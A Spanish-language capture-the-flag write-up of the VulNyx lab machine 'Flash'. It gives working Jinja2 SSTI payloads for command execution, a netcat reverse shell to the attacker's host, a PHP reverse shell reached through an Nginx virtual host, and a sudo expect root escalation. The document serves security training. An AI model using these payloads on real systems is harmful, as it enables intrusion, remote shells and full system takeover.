Aquí volvemos con una nueva VM de VulNyx, en este caso se trata de «Flash«, en donde de entrada tendremos que explotar una vulnerabilidad de SSTI (Server-Side Template Injection), que lo haremos de forma manual, después de una ardua labor de reconocimiento en post-explotación identificaremos una configuración concreta de Nginx que nos permitirá llegar a otro usuario del sistema para que finalmente dispongamos del vector que propicia la escalada de privilegios. A continuación el detalle:

Enumeración

Empezamos escaneando puertos y servicios con Nmap, esta vez para fines de presentación, emplearemos una sugerencia del amigo d4t4s3c, la utilidad grc:

sudo grc nmap -sS -sV 192.30.15.11

Exploración web

La revisión de los resultados la empezaremos por la parte de las aplicaciones web, en este caso iniciamos el análisis revisando la presentación a través del navegador:

También revisaremos las cabeceras HTTP de las respuestas, a fin de identificar las tecnologías implicadas:

Intrusión inicial

El aplicativo del puerto 8080 parece interesante, fuzzearemos parámetros en el mismo:

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://192.30.15.11:8080/?FUZZ=infayer -fs 18

De esta forma identificaremos el parámetro name, cuyo valor es representado en la respuesta de la aplicación:

Dado que este parámetro no sanitiza la entrada de datos, obviamente puede ser aprovechada, por ejemplo con un simple XSS:

Pero dejaremos eso de lado y nos centraremos en la inserción de payloads vinculados a SSTI:

Será momento de identificar el motor de plantillas, que en este caso será el típico Jinja2:

Bien, es momento de pasar al aprovechamiento de esta vulnerabilidad, para ello realizaré el proceso manual (que ya tuve la oportunidad de explicar en el post que titulé: «Explotando la Inyección de plantillas del lado del servidor (SSTI)«). Empezaremos empleando los siguientes payloads:

{{''.__class__}}
{{''.__class__.__mro__}}
{{''.__class__.__mro__[1]}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[224]}}

En base a un objeto, identificamos y enumeramos sus atributos:

Luego nos centraremos en las subclases, de éstas localizaremos algunas estratégicas:

Por comodidad y para un mejor manejo llevaremos el resultado a un fichero de texto para aplicarle algunos pequeños cambios en su presentación:

Aquí nos centraremos en identificar algunos elementos necesarios. En este caso tiraremos del ventajoso «catch_warnings«, que está ubicado en la posición 224:

Recordemos que el funcionamiento de esta función (a groso modo), en el siguiente ejemplo implica que en cuanto el comando es ejecutado en el sistema, de forma exitosa el servidor devuelve el valor de «0»:

{% set infayer=''.__class__.__mro__[1].__subclasses__()[224] %}{{infayer()._module.__builtins__['__import__']('os').system("id")}}

Pero bien, intentemos aprovechar esta condición volcando el resultado del comando en un fichero de texto que compartiremos en la aplicación web conocida (la del puerto 80):

{% set infayer=''.__class__.__mro__[1].__subclasses__()[224] %}{{infayer()._module.__builtins__['__import__']('os').system("id > /var/www/html/out.txt")}}

Veamos como nos va si intentamos generarnos un fichero PHP usando esta técnica anterior:

{% set infayer=''.__class__.__mro__[1].__subclasses__()[224] %}{{infayer()._module.__builtins__['__import__']('os').system("echo '<?php phpinfo(); ?>' > /var/www/html/out.php")}}

Aunque lamentable (para nosotros), el código PHP no se ejecuta en el servidor y por tanto no podremos aprovecharlo.

Por ahora tomaremos la alternativa y estableceremos una conexión reversa con el host. Para ello emplearemos el siguiente payload:

{% set infayer=''.__class__.__mro__[1].__subclasses__()[224] %}{{infayer()._module.__builtins__['__import__']('os').system("nc 192.30.15.5 4477 -c sh")}}

Realizaremos el correspondiente tratamiento de la TTY y accederemos a la primera flag de la VM, en este caso la del usuario randy:

python -c "import pty; pty.spawn('/bin/bash')"
export TERM=screen-256color
[Ctrl+Z]
stty raw -echo; fg

Movimiento vertical

En este punto y después de hacer un reconocimiento básico en la etapa de post-explotación, llegaremos a este vector:

Sin embargo, un rato después de pelea, nos daremos cuenta que estamos ante un «agujero de conejo», como una catedral!

Volviendo a la revisión del activo en la post-explotación, revisaremos lo que hemos generado en el directorio de la aplicación web:

Recordemos que este apartado está vinculado al servidor web Nginx, ofrecido a través del puerto 80. En algún momento del rastreo llegaremos al siguiente elemento del servidor:

cat /etc/nginx/sites-available/default

Es interesante este nombre de dominio localizado (server_name), para ponerlo en marcha emplearemos la siguiente petición mediante cURL:

curl -si http://192.30.15.11/out.php -H 'Host: loveyouuuuu.nyx'

En este caso y a diferencia del pasado, ahora si que conseguiremos que la función phpinfo() se ejecute en el servidor.

Por tanto ya tenemos el vector para intentar realizar un movimiento vertical estratégico. Nos valdremos de la siguiente reverse shell en PHP:

Una vez más, la ejecutaremos a través de cURL:

curl -si http://192.30.15.11/rshell.php -H 'Host: loveyouuuuu.nyx'

Manteniéndonos a la escucha con Netcat, conseguiremos la conexión reversa:

Lo siguiente será dejar nuestra terminal en optimas condiciones:

python -c "import pty; pty.spawn('/bin/bash')"
export TERM=screen-256color
[Ctrl+Z]
stty raw -echo; fg

Acceso privilegiado (root)

Llegados a este punto, ya depositaremos nuestro pies en el acelerador y no bajaremos la marcha. Enumeramos e identificamos el vector para la escalada de privilegios:

A través del portal de GTFOBins localizaremos la técnica documentada para el aprovechamiento de expect bajo estas condiciones:

Pondremos en marcha la técnica e inmediatamente conseguiremos llegar a root:

sudo expect -c 'spawn /bin/sh;interact'

Por último llegaremos a la flag del superusuario y podremos dar por finiquitada esta entretenida VM:

Referencias